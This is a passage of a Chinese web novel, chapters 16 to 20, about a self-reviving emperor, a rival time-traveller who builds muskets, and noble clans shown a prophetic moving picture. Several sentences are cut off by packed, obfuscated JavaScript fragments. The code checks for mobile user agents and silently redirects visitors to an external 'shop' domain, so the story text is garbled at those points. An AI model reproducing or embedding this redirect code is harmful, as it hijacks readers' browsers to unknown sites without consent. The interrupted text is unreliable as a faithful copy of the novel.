其实这个谥号不太好,但是和谢吾德一起干了几十年,他们也知道自家皇帝的德行,他自有一套不受约束的善恶观。 他完全能把这谥号当成表扬他的。 史书却得按照他的意思写,不然谢吾德哪一天回来绝对会砍了他们的头。 史学家相信荣武宗谢吾德手底下绝对有一套自己的力量,或许是某种秘密机构,以保证谢吾德依旧能够活跃地控制朝臣。 至于谢吾德真的几十年都没有衰老,能够随时拔剑砍了所有人…… 怎么可能? 关于荣武宗的一切基本埋在了谜团之中。 在荣武宗消失之后,许多关于他的东西都被埋藏或者销毁——因为他的臣子对他的恐惧。 他们仿佛觉得和谢吾德相关的东西晦气一样,荣武宗一朝的物品也是史上最少的,好像留荣武宗的东西在身边就是一种威胁一样。 这增加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他认为荣武宗应该是掌握了什么技术所以才能够做到那些事情。 对于胡增鑫来说,责任应该在荣武宗。 就是这个家伙随意散播知识和谣言才让中原招致了这样的祸患,他把一切当成游戏,从来没有用心经营这个皇朝,他制造出了虚假的繁荣欺骗了所有人。 因为荣武宗在历史上糟糕的名声,他果断选择了历史书上的大皇子,也是当年和荣武宗竞争的有力对手。 如果他上位应该能够避免沦丧的结局吧。 17.第 17 章 胡增鑫觉得谢吾德手上的技术并不重要。 就以谢吾德的性格,他怎么会静下心研究,他应该是招揽了一些得力的工匠。 到时候找到那些工匠就行。 他怀抱着这样的想法,胡增鑫以僧人的身份投靠了大皇子,经过几年的研究,搞出了火枪。 虽然非常基础,而且填充速度很慢,但是对于这个时代来说也算不错了。 他和大皇子反复商议了数次,但是在大皇子准备挟持皇帝的时候,他一直都非常不安。 一切真的能这么顺利吗?事情真的如同他想的那般吗? 明明未来的荣武宗不在啊。 这么多天过去了,他忽然有一种不太好的感觉。 就像是唯物主义者也会怕黑,但是他们怕黑的原因不是害怕有鬼,而是害怕黑暗中的未知,害怕有什么事情是他们没有预料到的。 ……反正肯定不是大皇子想要害他。 毕竟他可是给大皇子提供了超越这个时代的武器,如果大皇子要防备他,那大皇子身边就没有什么可以信任的人了。 因为大皇子对他的信任,胡增鑫可以非常轻松地离开。 庄子外面有守卫,只不过胡增鑫很轻松地就糊弄了过去。 他匆匆忙忙地跑了出去,他的目的地是山上。 如果他上山之后,大皇子出事,他能够及时地居高临下发现状况然后跑掉,自己的筐子里还有一些金银、吃食和武器;如果大皇子赢了,他也可以去山上找点野菜,就说自己忆苦思甜。 不得不说,胡增鑫的预感是准确的。 在他上山之后没多久,他在半山腰回头向山下看,隐约地看到了一队人往这边走来。 古代行军纪律也就那样,大家都是菜鸡互啄,能有人不掉队已经是非常不错的素质了,就不能指望他们能走出什么队列。 胡增鑫来了也有几年了,他还是能够看出来一些门道的:如果是大皇子赢了的话,那么这群人就是大皇子的人,他们肯定已经放开了,走路会稀稀拉拉的完全不成形,大皇子也会看在他们有功的份上不做计较,但是眼下看来这群人还是能够组成一定的队列的,也就是说真的出事了。 这个庄子里没有别的什么,只有一堆火器和他这个穿越者,那么现在是出了什么事还用想吗? 他真不该听那群古代人的忽悠,说什么大皇子仁慈不仁慈的。 有他这个穿越者帮忙,结果还是搞出了现在的情况,实在是废物,丢人! 胡增鑫用脚用力地踹了一下树。 也不怪他如此生气。 自己投资大皇子固然可以一步登天,但是想要下车就变得很难了。 既然穿越了,他还是想要名留青史的,不然枉为他作为穿越者走一遭了。 醒掌天下权,醉卧美人膝。 男人不就指望这点东西吗? 和那群满心满眼都是忠君的古代人不同,他这样的穿越者是很少对一个人效忠的。 更别提他是一个知道未来走向的穿越者。 他之前对于大皇子的态度,可从来都不是崇拜,而是把自己视作是大皇子的拯救者。 现在这个被拯救者在他面前展现出了烂泥扶不上墙的样子,那还不赶紧把人踹了。 他和大皇子认识几年,其实也没多么深的感情,虽然大皇子对他金银珠宝无所不予,但是态度也只是说的过去,并没有特别恭敬崇拜。 胡增鑫有的时候觉得他甚至只是把他当成一个工匠,如果不是胡增鑫自称僧人,他可能更没办法得到什么尊敬了。 哎。 可惜了之前大皇子给他的那么多东西,没办法一起带走了,但是还是小命要紧。 因为对自己这种现代人体力的担忧,所以他跑得很快,在过河之后,他路过了一间破旧的小屋,这一般都是山中猎户的住所。 小屋里有一个老人和他的孙子,他注意到跑过去的人忍不住一挑眉,感觉这个老人和孙子身上的衣服看上去有点新,不过他并不在意,只是把滑落筐子往自己身上又背了背,然后准备直接离开。 然而就在胡增鑫跑出十几步之后,老人的孙子搭弓,瞄准了胡增鑫的膝盖。 . 谢吾德半夜听到余文彦求见。 现在是半夜十二点,但是谢吾德想要等等再睡,等什么就不知道了,反正看看小说,等着AI帮他看奏折出结果,他可以等到上完朝再睡,不过只要上班他就该困了。 谢吾德很闲,而且是个夜猫子,但是他这个人过了晚上九点就不太想见人了。 这个宫殿真的很空,甚至有点吓人。 谢吾德胆子很大,看完恐怖电影还敢关着灯上厕所,但是人似乎就是本能地不太喜欢独自身处在一个空旷的地方。 这是底层代码级别的。 谢吾德本来考虑要不要偷偷溜了,但是第一天当皇帝,他也觉得就这么溜了不太好,总得多待一会宣示一下自己对这个宫殿的主权。 他让太监把这个宫殿拿消毒水消毒了,不给酒精是担心他们会兑水喝了。 至于这宫殿外面的红色富含重金属这事根本就不被他放在心上。 区区毒素积累,如果真影响到了身体状况直接自杀再复活。 现在宫殿空无一人,只剩一人一猫,猫在跑酷,人在趴桌。 太监是在门口说话的,嗓门很大,所以谢吾德听到了。 哎,睡不着,但是干正事就犯困。 当皇帝好累啊。 如果有个勤政的皇帝看到现在瘫着的谢吾德抱怨累,拳头一定会硬,这种咸鱼还敢喊辛苦? 可是谢吾德就是这样,要是问他干了什么,他自己也觉得自己其实什么都没有干,但是就是很累。 谢吾德决定还是看看余文彦要向他汇报什么,像这种模拟经营类的东西都是越早解决任务就能够越早地获得更大的收益,而且现在打击角色积极性,之后他们说不定有什么刺激的就不和他分享了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548406|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 还是要培养一下积极性的。 谢吾德看到余文彦单独进来的时候就知道他肯定没有找到那个穿越者。 谢吾德也不怎么失望。 谢吾德自认自己是世界的主角,但是穿越者这种东西要是那么容易对付,那实在是太枉为穿越者了。 这想法没什么道理,但是谢吾德觉得这种针对他的绊子就是有点难度。 谢吾德把手上的手机熄屏,用食指在桌子上转着手机:“说吧,啥事。” 他打了个哈欠。 余文彦先是和谢吾德说了一下他们没有抓到关键人物的事情——谢吾德最关心这个,然后才让太监端上了一样物品。 火枪。 谢吾德完全不介意有人在他面前拿着危险武器,这种事情在他这里是被允许的。 “殿下,但是我们找到了一个疑似赵王制作兵器的地方。”余文彦给谢吾德展示了一样东西,那正是当初在二皇子和大皇子对决的时候,大皇子的人掏出来的东西。 余文彦当时看到这个武器并没有发挥多少作用,就被谢吾德轻松解决了。 看上去废物极了,好像没能起多少作用,但是余文彦能够被二皇子欣赏必然是有着他自己得天独厚的能力。 他看出了这个武器有多大的潜力。 比起弓箭,这个东西可以像弓箭一样射出去,而且不需要携带那么多的箭矢。 他在把实物拿到手之后,更加确定了它的价值。 虽然填装速度有点慢,但是拉弓射箭拉个几回就要不行了,所以弓兵都是军队中最强壮的那批人。 “有图纸吗?”谢吾德托着腮说道,“如果有图纸的话,就拿去组建一个火枪队。” 他不太在意这件事。 换个英勇善战的皇帝在听到这种革命性的武器时,一定会大喜过望。 谢吾德不算英勇善战,他只算铁拳无敌。 别人的战争对他来说更像是殴打。 谢吾德不关注军队是否加强。 他自己就很强了。 就像是在加特林下面挂个刺刀,不是不行,但是没什么用。 只不过既然送上门了,那也不可能什么都不做,动动嘴皮子的事,谢吾德没懒到那种程度。 这种东西对他没有什么用,但是对普通人还是很有用的。 余文彦抬起头看向了谢吾德,他什么话都没有说。 谢吾德被他这一眼看终于想起了点什么事情。 下发兵权说不定会养出什么危险的角色,更别说这种一看上去就知道潜力无穷的火枪兵了。 如果余文彦就这么接受了,之后就算不被弹劾也很容易出事。 要是余文彦面对谢吾德能赢还好,可是问题就在于余文彦并不认为自己可以赢。 一旦引起了谢吾德的忌惮,谢吾德杀他不就跟杀鸡一样吗? 不,谢吾德还真不会忌惮他,但是谁也没法保证谢吾德不会用这个借口玩死他。 18.第 18 章 谢吾德哈的一声笑了,然后对他说道:“没事,你先组着看看。” 余文彦看上去是真的很不情愿了。 不排除他是在欲擒故纵,不过谢吾德觉得他暂时应该没有这么做的胆子。 谢吾德很了解别人会怎么看他。 他这种喜怒不定的精神病可实在是太让人恐惧了。 余文彦越是不愿意他就要强塞给对方。 不管事情有什么发展,他都觉得这很有趣。 “陛下还请三思。”余文彦是真的抗拒。 别玩他啊。 他应该算是谢吾德手下第一狗腿吧? 邱腾将军虽然和谢吾德更早地熟悉,但是邱腾是个正派人,正派得甚至有点迂腐的人,他可不会向谢吾德妥协,除非谢吾德能说服他。 非常有原则。 但是余文彦就不一样了。 他是真的会逢迎谢吾德的。 这个生态位他是第一个占据的。 白猫从余文彦身边飞过,碰倒了余文彦身边的火枪,给余文彦吓得一激灵。 谢吾德捏着自己的下巴,意味深长地拉长声音:“怎么,是害怕你之后对我动杀心?” 余文彦:“……” 他哪敢啊? 之前还对王旭说“你要是有胆就去刺杀陛下”,结果现在就被谢吾德用类似的话给怼回去了。 这都是因果轮回,报应不爽。 余文彦勉强地点点头说道:“臣知晓了。” 别看他在王旭面前时,胆子奇大无比,好像什么话都敢说,但是真要在谢吾德面前,余文彦还是得收敛一下的。 他要是敢赞同谢吾德的话,谢吾德说不定会因为他的勇气给予他更大的权力,但那时真的会要他的命了。 如果要说他不敢,谢吾德恐怕会立刻觉得他无趣把他丢到一边。 余文彦给了一个模棱两可的答案。 希望谢吾德不要计较。 只要不直接答应,之后有的是把这权力分下去的方式,只是不如谢吾德直接交给别人。 谢吾德还真没在意余文彦的态度,他打开手机,开始打游戏:“你觉得那个协助大皇子的人可能跑到哪里去了?” 余文彦回答说:“他可能是提前感觉到大事不妙,提前跑了。” 他们虽然没有抓到关键人物,但是庄子上还有别的人的,他们从大皇子其他的人口中得到了那个人离开的消息。 所以他非常有理由怀疑那个人已经提前觉得大事不妙,跑掉了。 想要在山上搜查并不容易,至少到现在都没有人找到他的踪迹。 “不能排除这种可能,但是我总觉得这种发展不够戏剧性。”谢吾德本来不打算动脑的,他是那种看推理小说都不过脑子的人,看了谜题就直接去看答案再回过头看剧情的,但是刚刚他灵光一闪,忽然有了想法。 余文彦是第一次听到戏剧性这个词,但是他可以望文生义。 就是有趣的巧合的意思吧? “还请陛下赐教。”余文彦脸上恭敬道。 谢吾德不认为这个世界是真实的。 关于这件事情其实可以涉及一些哲学的讨论,不过谢吾德懒得讨论这么多。 他认为这个世界不是真实的是因为这是一个被“他自己”创造出来的世界,而且是可以被他干扰。 这个世界就是以让谢吾德感到有趣为基础进行运作的,那么事态的发展也一定是会让谢吾德觉得好玩的。 如果他就那么跑掉,那就没什么意思,就算之后被抓住了这种发展也颇为无趣,除非在这过程中有什么奇遇。 “我猜,他是被哪个世家绑架了。”谢吾德看着皇宫外的方向,那里是世家聚集的地方。 之前世家就暗搓搓地想要搞事,现在谢吾德有事不顺,他第一时间怀疑的就是那群世家。 这个世界可没有“天街踏尽公卿骨”的黄巢。 其实世家也威胁不到谢吾德,但不妨碍谢吾德看不惯所谓世家门阀。 不是皇帝看不惯世家的那种看不惯,纯粹是看不惯这群天龙人。 谢吾德也就是普通家庭出身,不管他现在如何,反正这种想法挺顽固的。 世家要是知道谢吾德讨厌他们的原因都得骂一句你是不是有病。 有的人是“自我之上,人人平等;自我之下,阶级分明”,但是谢吾德是那种“除我之外,人人平等”的人。 至于比他地位还高的人? 谢吾德觉得不存在啦。 有谁敢这么说他就杀了谁。 余文彦思考了一下,觉得谢吾德虽然是在发癫,但是他说的话也不是没有道理的。 他不知道大皇子手下的那个僧人从哪儿来又要去哪,但是以他所展现出来的能力,一定是会被人盯上的。 那些不安分的世家肯定也非常渴望得到火枪的配方。 世家子弟能够接受最好的教育也能得到最好的资源,他们中除了不少天才。 别人会觉得这是龙生龙,凤生凤,但是余文彦觉得自己如果有这样的资源和宣传,他也可以做天才。 更何况世家的天才虽然不少,但是蠢材更多,他们可不是按照脑子分大宗小宗的,但是既然他们能够维持如今的规模,肯定也能够聚拢出一批和余文彦差不多的聪明人。 如果说别的事情他们还会犹豫的话,抓一个僧人就完全不需要犹豫了。 大皇子已经死了,那个僧人就失去了所有庇护。 “那陛下打算搜查哪一个世家?”余文彦这么问道,“臣一个人可能不够用。” 谢吾德想了想:“还是算了。他们要是能弄出更大的动静,我反而要赞叹他们一句。养他们一会,养养他们的野心吧。” 不管他们有多少野心,只要他们敢动手,那他就可以顺理成章地把他们全都拔起来了。 谢吾德为自己点了点头。 他打算cos一下黄巢。 不知道有没有人能够给他写一句“内库烧为锦绣灰,天街踏尽公卿骨”,他感觉很帅,实在不行,他就亲自上场。 谢吾德的中二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553038|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病又犯了。 没办法,他的心理年龄没法突破二十二岁,在这件事情上他只有倒退的余地,没有进步的空间。 一般来说,他并不在乎自己是否符合当下的价值观,但是他有点在意自己要是随便杀了人,那群世家会因此得一个好名声,会有一群人为他们歌功颂德。 想想朱棣吧,如果他知道自己的侄子名声在文人笔下那么好,那绝对会统统下狱,谢吾德代入一下血压就高了。 哦,对了,那群世家本身就是拿着笔杆子的。 当下很多文采风流的人都是这些世家的人。 真要被他们在他面前喊一句“陛下您能杀了我们,但是您错了就是错了”,谢吾德能气个半死,非得把他们反复复活然后再虐杀,半夜想起来都要再复活一次打人。 精神胜利不是真胜利,但是这样也太恶心人了。 所以应该连带着他们的名声一起打掉。 得找个借口,至少不能让他们在他面前理直气壮地跳。 谢吾德也不怕他们没反心,他有的是力气和手段能把世家逼到那一步。 到时候该怎么杀他们呢? 谢吾德像是在享受用放大镜烧蚂蚁的孩子一样露出了一个快乐的笑。 他们没得罪他,但是他就是想要杀他们玩玩。 . 王氏—— 王旭现在在家中处于一个非常尴尬的状态。 不管他之前得到了多少赞许,现在都不过是一个失败者。 家中仆人看他的眼神都带上了几分怜悯或者嘲笑,这让一向骄傲的王旭完全无法接受。 他没法歇斯底里地去抽打那群下人。 ……也不是不行,但是那都是家中没什么出息的家伙才会去做的,像他这种被重点培养的人大多都被长辈教育过要注重自己的名声。 王旭如今也不需要什么名声去做什么了,可是他不想在外面再得一个“王侍郎在逆境的时候终于忍不住暴露了自己丑陋面目”的评价。 他还是要脸的。 他厌恶自己如今的情况,但是不想接受又如何? 失败就是失败,储位之争的结果不是能够用一两句话改变的。 他们世家很擅长春秋笔法,但这件事并没有模糊的余地,更何况现如今二皇子已死,也不存在任何东山再起的可能。 今天下面的人跟他说,他们抓到了之前大皇子一直藏着的人。 那个人主动从山里出来,被他们提前埋伏的人抓了个正着。 二皇子自然也知道大皇子似乎有秘密武器,只是他们不知道细节的,最近才找到一点线索,只是大皇子已经去挟持皇帝了。 在这期间他们也没能抓到这人,因为那个人不出门,庄子又被看得很严实,他们没能找到下手的机会。 如今因为二皇子的失败,这件事情变得毫无意义了,甚至王旭本人都已经知道大皇子的秘密武器是火枪了。 他们本来已经放弃了,但是不曾想现在却抓到这个人了。 这可真的是太晚了。 19.第 19 章 王旭捏着鼻梁,沉默,让人把事情告诉陈老爷子。 这人对他没用了,但是对祖父应该还是有点用的。 王旭之前把大皇子和三皇子当作自己最危险的敌人,一直对他们抱有仇视的态度,但是事已至此,之前的仇视已经变成了过往云烟,他现在对大皇子反而多了一些同情。 之前努力有什么用,最后还不是给谢吾德做嫁衣了。 大皇子、二皇子这一对站在对抗路第一线的同父异母的亲兄弟如今在泉下大概是最能够理解彼此的存在了,毕竟他们两个是死在同一个人手中的,也算是莫名的缘分了。 王旭把自己在房间里关着,却不曾想,家中的人把他喊出来,说陈氏的人有事想要来详谈,老爷子让他也过去。 王旭不太高兴,但是还是去了。 王旭刚刚坐下,就看到陈氏的人走了进来。 那是陈氏的陈琦陈中书。 他也是如今陈氏年轻一辈的佼佼者,名声斐然。 他和王旭基本是同龄人,官职没有王旭高,王旭以前看他还是得意的。 但是现在看,他不被陈琦嘲笑就算好的了。 王旭看看王老爷子。 自己的祖父,如今的齐国公——虽然原本齐国的土地已经丢失了,齐国公没有看王旭。 这让王旭稍微有点失落,就连自己的位置都被自己的堂弟占据了。 虽然王旭失败了,但是齐国公一定要宣称这件事情和他们家无关,他对此毫不知情,一切都是王旭这个孩子的自作主张。 但是这是对外的态度,现在谢吾德还没有追究,而且谢吾德现在又不在,王旭自然也可以出来看看是什么情况。 不管怎么说,他还是现在的兵部侍郎,在这次的夺嫡之争中占据了相当重要的位置,如果陈氏的人来找他们谈论这件事,那一定绕不开王旭。 王旭看着陈琦,陈琦没看他,只是一拱手:“齐国公。” 他先和王老爷子行礼。 王老爷子点头,让他坐下。 “各位冒昧来访,还请多多担待。” 王旭看着陈琦,怎么看怎么不舒服。他总疑心这个人是来嘲笑他的。 但是王旭知道,这是自己疑心病犯了。 陈旭顶多是顺道来看他笑话的。 陈氏和王氏都是荣城朝中比较大的世家之一,朝中基本上以陈氏和王氏为主。 朝中有五分之一的人是属于这两个家族的。 这些人不是姓陈就是姓王,要么就是这两家的学生或者门客。 他们彼此之间的竞争十分激烈,毕竟顶级资源就那么多,王氏多拿一点,那陈氏自然就得少拿一点。 王旭之前支持二皇子,而陈氏支持三皇子,只是支持的力度不如王氏大。 王旭之前还嘲笑过陈琦,觉得他不如自己有魄力,但是现在风水轮流转,与二皇子深度绑定的王旭变得狼狈不堪。 虽然三皇子虽没有出手就被大皇子控制了起来这件事情也挺小丑的,但是陈琦到底他们不如王氏投资的多,事情完全是可以糊弄过去的。 王旭的情绪也只是激动了一小会,他看着一脸沉稳的陈琦,觉得这个家伙只是没有在谢吾德面前吃过亏,等着碰到了谢吾德大概也会灰头土脸。 毕竟谢吾德这个人是真的怪。 他们这些正经人是没法在拼下限这件事情上赢过谢吾德的。 “不知道陈公子此次前来是为了什么事呢?”王老爷子看上去非常和蔼地看着陈琦,就好像之前经常鞭策着王旭上进、不能在面对陈琦的时候落入半点下风的人不是他一样。 “如今朝廷之事,诸位是如何看待的呢?” “老夫能如何看待?这天下是谢家的天下,哪里容得我们置喙呢?” 王老爷子还是能够沉得住气的。 这一方面是来自于他的年龄和见识,另一方面主要是因为他没有像王旭那样公然下场。 如今他也是王氏年纪最大也是地位最高的人,他的利益和王氏的利益息息相关,再大的风波也很难波及到他的身上。 这也是所谓“孝道”的一部分。 这个世界虽然没有“罢黜百家,独尊儒术”这一出,但这并不代表只有儒家才讲究孝道。 不如说儒家只是对传统文化进行了一次强调,形成了正式的规矩,这不是创造,只是发挥。 孝顺长辈本身也是农耕文明的重要组成部分。 儒家有些时候还会批判性地说一句“阿谀曲从,陷亲不义”,但是法家也有“父盗子,不为盗”。 孝顺是属于底层代码级别的问题。 辈分大是有实打实的好处的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557978|185294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 站在岸边,自然可以气定神闲。 “齐国公先不急于如此表态呢。”陈琦气定神闲地看着王老爷子,“如今暴君当政,覆巢之下,焉有完卵?陈氏、王氏皆为世家,若不能共进,恐怕连共退的资格都没有了。” 王老爷子哑然失笑,觉得陈琦这话说的实在是可笑。 琅琊王氏是琅琊王氏,临川陈氏是临川陈氏,他们根本就没有多少关系,可能有一些姻亲,但是俗话说得好:“嫁出去的女儿,泼出去的水。” 虽然结两姓之好是为了拉近关系,但在有必要的时候,被嫁出去的女儿也可以完全被无视——甚至被嫁出去的女儿也会为夫家着想。 毕竟这盆水都泼出去了,就不太能指望这盆水可以回头了,毕竟这些女儿生了孩子还得靠夫家。 更何况就算回头了他们也不一定会领情。 既得利者好处已经拿到手了,他们更共情可是“夫家”这个角色。 陈琦并没有觉得尴尬。 在王老爷子低笑了一声之后,他的手放在了自己衣袖中。 王家人稍微有点紧张,他们怕陈琦对王老爷子下手。 这种情况一般不太有可能发生,只不过现在情况很特殊,谁都说不好彼此会做出些什么事情。 陈琦从衣袖里抽出了一张布帛,找了王家两个人把这张布帛卷了起来。。 王老爷子有点疑惑。 布帛上有一幅精致的画,上面人物逼真,栩栩如生,与现实无二。 与寻常床上留白的绘画不同,这里的每一处都相当细致。 王家有擅长绘画的人,看到这幅画忍不住皱了眉,他觉得这幅画实在是没能强调重点,也没法给人留下遐想的余地,只能算是“徒有技术,没有内涵”,这实在是让人瞧不上眼。 只不过这颜色着实是漂亮,也不知道陈氏是从哪里弄来的颜色,要是给他,他能画出什么样的作品? 想到这里,他的手指在袖子里微微地划动,他已经开始进行想象了。 王老爷子思考的则是这幅画的内容。 陈琦是来说服他的,但是这画上的内容又怎么可能说服他? 技法优秀,但是内容是什么? 断壁残垣? 还没等有人提出问题,他们就看到了这张布帛上的图画——动了。 20.第 20 章 “这是什么东西?”王旭震惊地看着陈琦,他现在是最适合问这个问题的人了。 如果不是他还有一点身份,他现在都想要把手伸过去尝试摸一摸了。 陈琦伸出一根手指放在自己的唇边,他让他们安静地看着眼前的东西。 绢帛上的画面逐渐动了。 这是一个看上去有点超出他们想象的画面,上面那似乎是从天空向下拍,上面配字“锦京”。 对于现代人来说,这种从天空中俯拍一点都不新鲜了。 就算是在无人机发展之前也可以做直升机拍照。 很多人没坐过飞机,更别说直升机了,但是很少会有人没有在电视上看到这些东西。 现代人在看到这幅画面能施舍一个眼神就算是不错了,根本不会有身临其境的感觉。 但是对于古人来说,这实在是太刺激了。 光是看到这幅画面就让他们觉得自己好像从天空中往下掉,好像身体失去了平衡一样,即使坐在椅子上他们的身体也忍不住摇晃了一下。 “锦京”两个字和他们现在使用的字不太一样,看起来有点费劲。 但是画面中的锦京似乎有点陌生,他们这些世家对于锦京的城市布局十分熟悉,他们没有亲眼看见过锦京的全貌,但是他们熟悉锦京的街道甚至是地图,感觉这和实际有点差距。 这实在是奇怪。 明明应该是个神迹,但是神迹不应该是精准无误的吗? ……上天大概是有自己的道理吧? 所以他们只是一言不发。 这好像还不是单纯的画面,居然还有声音:“这是新元一年,是荣武宗谢吾德登基的第一年。当时的锦京是这个世界最大城市之一,也颇有一点繁荣的气象,但是这个朝代是建立在悲痛之下的。二十余年前,北方的萧人挟持了一位太上皇和一位皇帝,一位南逃的皇子建立了南荣,那位皇子便是未来的荣高宗——谢珖。按理来说,这位皇帝在史书中应该也能够得到一个不错的风评,但是可惜的是,现在我们谈起这个人的时候大多只想笑……毕竟众所周知,荣高宗可是一个被荣武宗反复殴打多次快要被殴打至两面金黄的人物。登基之前,朝中的大臣还以为他是一个有点骨气的人,但是在他登基之后,他性格中的懦弱就展现了出来,不仅体现在他在被自己儿子打的时候却不敢斥责半句,还体现在他对待北方的政策。他挨自己儿子的打,如同挨着北方萧人的打一样。” “这样的一位皇帝,在对外的时候无法控制萧人,在对内的时候自然也没有办法控制住世家。” 在这个不知道从何响起来的声音出现的时候,王老爷子的目光一凝。 恐怕这个布帛上的内容是陈琦这次来找他们见面的原因。 如果是好事的话,陈家可不会把这种好事给他们王氏分享;但是如果是坏事的话,那么他们这次恐怕是要来找盟友的。 在场的都是货真价实的古代人,他们不懂现代网络中的种种用语,不知道什么是“天幕”。 可是他们中有聪明人。 王老爷子作为老年人,可能脑袋转得不快,但是他们自有理解这一切的方式——他们疑心这是上天传达给他们的谶言。 他们世家能有如今的成就,也算是上天所爱,那么现在上天不忍心看到他们受苦受难,特意向他们展示未来,也十分合理。 王家的才子王钧是个沉迷艺术的人,也是之前思考这“画”上颜料的人,在北荣的时候就有书画双绝的名声,但是因为太沉浸于艺术了,虽然脑子好用,但是得等他先搞完艺术再说,因为这事实在是在宫中混不下去了。 他没有把太多的注意力放在视频的内容上,只是盯着字幕思考。 这谶言是不是有点没文化,这字缺胳膊少腿的,而且每个字都缺乏灵性。 上天缺乏审美啊。 王钧摸着自己下巴,看着这视频,甚至隐隐对“剪辑”有所心得。 王老爷子看到这一幕并不怎么高兴。 一方面是这个东西背后所传递出来的信息。 荣武宗。 武帝这个庙号可带有贬义的。 征战对于一个以农业为主的国家实在是太过于沉重了。 那些蛮夷发动战争是可以劫掠的,但是一个大一统以抵御外敌为主的国家发动战争是很难获得新资源的,每一场战争都会是沉重的负担。 世家也不是很喜欢战争。 在战争中总会有新的人崛起,这会对他们的统治产生威胁。 荣武宗…… 听这布帛上的内容,不难感觉出虽然谢吾德的庙号是武宗,但是讲述的人实际是在吹捧他。 也就是说他有可能能把萧人打回去? ……打回去吗? 王老爷子陷入沉思。 琅琊王氏来自琅琊,然而琅琊现在在萧人的手中;齐国公理论的封地本应该在齐国,但是如今齐国的地在萧人手中。 这很令人屈辱。 想要重返北方吗? 有点想,但是没那么想。 江南是温柔乡啊。 温柔的烟雨仿佛能够打碎人们向北进攻的勇气,明明物资丰富,但是往往是被征服的一方,最后好像只有一句“胡人凶蛮”来解释他们的软弱。 如今的琅琊王氏在江南的收入可比在琅琊要多多了。 大家感性上想要回家,但是真要做起来就会发现阻力重重。 首先是北方被萧人占据,经济政治中心已经南移,他们回到琅琊反而是主动把自己排挤出去;二则是如果真想要回去,那很多家产就要进行处理,不说划不划算,肯定会有许多人选择留在这里,搞得像是自己给自己来了一出推恩令;三则是如果打回去,那肯定是要组织军队的,琅琊王氏手中有私兵,但是不足以反推萧人,如果要找一个更强的人,那对方手里握着远强于他们的兵权,反手就能把他们这些世家给吃了。 今天死还是明天死? 这个选择并不复杂。 他们从来都不舍得打碎自己这个珍贵的瓷瓶。 他们没有重新跨越长江以北勇气了。 . 王老爷子想到这里,其实并没有把谢吾德太放在心里。 “武宗”。 但凡他的成果能够被保留下去,他的儿子能够把持朝政,都不会出现武宗这个庙号的。 王老爷子觉得果然还是他们世家获胜了。 本来也是。 皇帝不依靠他们这些世家还能依靠谁? 他们世家有着最好的资源,掌握着绝大多数人才,如今的青年才俊不都是世家的人吗? 想到这里,王老爷子顿了一下,他看向了王旭。 ……余文彦不是。 不过总是有点例外的,到时候可以考虑一下吧家中女儿嫁给余文彦,这样就是一家人了。 这只是小小的一点变量。 王老爷子苍老的眼睛看着陈琦,相比起谢吾德的威胁,他现在感觉临川陈氏的威胁更大。 陈琦手中的东西如同“天意”,这种东西只配帝王拥有。 帝王才拥有这个世界最为强大的天命,上天偏心他们,于是再降下来预示。 所以为什么是陈氏? 这是不是说未来陈氏将会出现一个帝王?他们才是受命于天的存在? 说百年的皇朝、千年的世家很多时候只是世家安稳自己的话。 为什么不做皇帝?是不想吗? 当年始皇帝灭六国,已经把这个文明未来的路指明了——统一与集权。 当皇帝就拥有这个世界最大的权威,皇帝的意志就是整个国家的意志。 世家可以给皇帝下绊子,给他们添乱,但是他们不敢在皇帝面前表现得不恭。 皇帝让他们跪他们就得跪。 想要反抗皇帝那只能自己做皇帝。 世家不想做皇帝这种事情笑笑就算了。 王老爷子觉得陈氏完全比不上他们王氏。 虽然说陈氏与王氏算是如今世家之首,在朝堂上分庭抗礼,但是陈氏最近两年的发展其实远不如王氏。 他们的胆子没有王氏大。 就在这夺嫡的事件中,陈氏看好了三皇子,却不敢给予太多的支持,而且他们所支持的三皇子并没有展现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“被举荐上来的人不一定有真才实学,他们中大多有的只是更好的血统,或者有着更加显赫的亲戚。他们在朝中工作的目的,也不是如何为这个天下作出贡献,而是如何为世家、为他背后的势力谋求更大的利益。” 